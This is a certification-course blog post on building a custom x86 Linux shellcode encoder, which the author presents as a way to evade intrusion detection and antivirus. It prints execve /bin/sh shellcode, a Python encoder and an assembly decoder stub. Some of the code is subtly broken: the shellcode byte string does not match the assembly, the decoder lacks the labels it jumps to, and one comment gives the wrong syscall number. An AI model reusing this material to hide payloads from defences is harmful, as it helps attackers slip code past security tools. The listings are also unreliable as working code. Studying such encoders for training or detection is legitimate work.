SLAE32 Assignment 4 - X86 Custom Shellcode Encoder

5 minute read

SLAE32 Assignment #4

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-1372

This is the forth of seven assignments in order to complete the SLAE (32bit) certification. The topic covered on this Assignment will be encoders and how to create an encoded shellcode.

Why usage of an encoder and what is an encoder?

The major goal behind the usage of encoders, when writing shellcode is to avoid/bypass the Intrusion Detection Systems (IDS) and Anti Virus (AV). An encoder is an algorithm that changes our initial shellcode retaining the payload.

In general encoded shellcode is preceded by a chuck of code that contains all the information that the decoder needs to retrieve the original shellcode. The image below shows this process. Encoded stub

Custom Encoder

The shellcode that will be encoded is the simple execve(“/bin//sh”, NULL, NULL).

global _start
section .text
    xor eax, eax        ; reseting the register
    push eax            ; pushing null terminator
    push 0x68732f2f     ; push /bin//sh
    push 0x6e69622f
    mov ebx, esp        ; ebx = /bin//sh
    push eax
    mov edx, esp        ; envp = 0
    push ebx
    mov ecx, esp        ; argv = [filename,0]
    mov al, 11          ; syscall 12 (execve)
    int 0x80            ; syscall

The encoder will have 3 different operations. First will be applied the not followed by left shift and xor. Both parameters are passed as an arguments of the following code:


import sys

if len(sys.argv) != 3:
        print "Usage : python <SHIFT number> <XOR number>"
shift   = int(sys.argv[1])
xor     = int(sys.argv[2])

#exceve-stack shellcode
shellcode = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

# addition to the inicial of the encoded shellcode the SHIFT and XOR values
encoded_shellcode =""
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %shift
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %xor

# [NOT + SHL-N + XOR-N] encoded shellcode
for i in bytearray(shellcode):
	new = ~i & 0xff
	new = new << shift
        new = new ^ xor
        encoded_shellcode += '0x'
        encoded_shellcode += '%02x, ' %new

# end of shellcode
encoded_shellcode += '0x'
encoded_shellcode += '%02x, ' %xor

aux = 0
print xor
for i in encoded_shellcode.split(","):
	if i.strip() == hex(xor):
		aux +=1

if aux>2:
	print "Encoded shellcode won't work, please pick another xor value"

# print encoded shellcode
print encoded_shellcode

In our case we will have a decoder stub containing the shift and xor values. One more particular situation about our encoded shellcode is that we don’t need to care about the length of the shellcode because at the end we have again the xor value that will tell us when all the decoding part is finished and we can execute our shellcode.

Due to the implementation the shift values must be between 1-7. One more thing that we check if there are more than 2 xor values inside of the shellcode, in that case our encoder won’t work as expected.

Custom Decoder

Now we need to revert all the process in Assembly. We will start by using the technique Jmp-Call-Pop. This technique is used to get into the stack a defined string, our case the encoded shellcode. We will do a jmp short to the label that contains the encoded shellcode and then we will make the call operation. When we make the call we will load into the stack the address of our encoded shellcode. In order to get the address we just need to make a pop operation.

Now that we have the address we can start the decoding process by first getting the shift and xor parameters. We start by checking if our current word is the same as our xor value (check if we reach the end of the decoding process), if not we will make a shift right of the defined value (we make a shift right because our encoder made a shift left and to remove it we must do the opposite). Finally to get the original shellcode we just need to perform a not operation and get the lowest 2 bytes of the word (al). All of this will be more clear with the below code:

global _start

section .text


jmp short enc

xor ecx,ecx			; reset eax, ecx and edx
mul ecx

pop esi				; pointer to the shellcode store in esi
mov cx,[esi]			; get the shift value and store it in ecx
inc esi				; move the pointer to the next word
inc esi
mov bx, [esi]			; get the xor value and store it in ebx
inc esi				; move the pointer to the next word
inc esi

push esi			; push into the stack for future use
mov edi, esi			; move also the pointer into edi
main:				; start of the decoding process

mov ax,[esi]			; move the a word into ax
xor ax, bx			; xor the word in ax with the xor value
jz call_decoded 		; after the xor operation if eax = 0 means that we reach the end of execution and we can execute our shellcode
shr ax, cl			; shift right the value in ax cl times	
not word ax			; finally we get the not of the value stored in ax
mov [edi], al			; we move the lowest byte into edi
inc esi				; move the pointer to the next word
inc esi
inc edi				; move the pointer to the next byte
jmp short main 			; jmp short to  the main label

call [esp]			; call the original shellcode

call decoder ; encoded shellcode
encoded: dw 0x04, 0x539, 0x9d9, 0x6c9, 0xfc9, 0xc49, 0x839, 0x839, 0xdf9, 0xc49, 0xc49, 0x839, 0xce9, 0xc59, 0xc29, 0x259, 0x4f9, 0xfc9, 0x259, 0x4e9, 0xff9, 0x259, 0x4d9, 0x1c9, 0xa79, 0x619, 0x2c9, 0x539

After linking, assembling and getting the shellcode using objdump we see that our example with shift 4 and xor 1337 (0x539) works perfectly.

Encoded Exec

In order to change the payload it is just needed to change the code of the shellcode variable in the python encoder file.

Moreover this encoded shellcode can be found on

All the code can be found in my github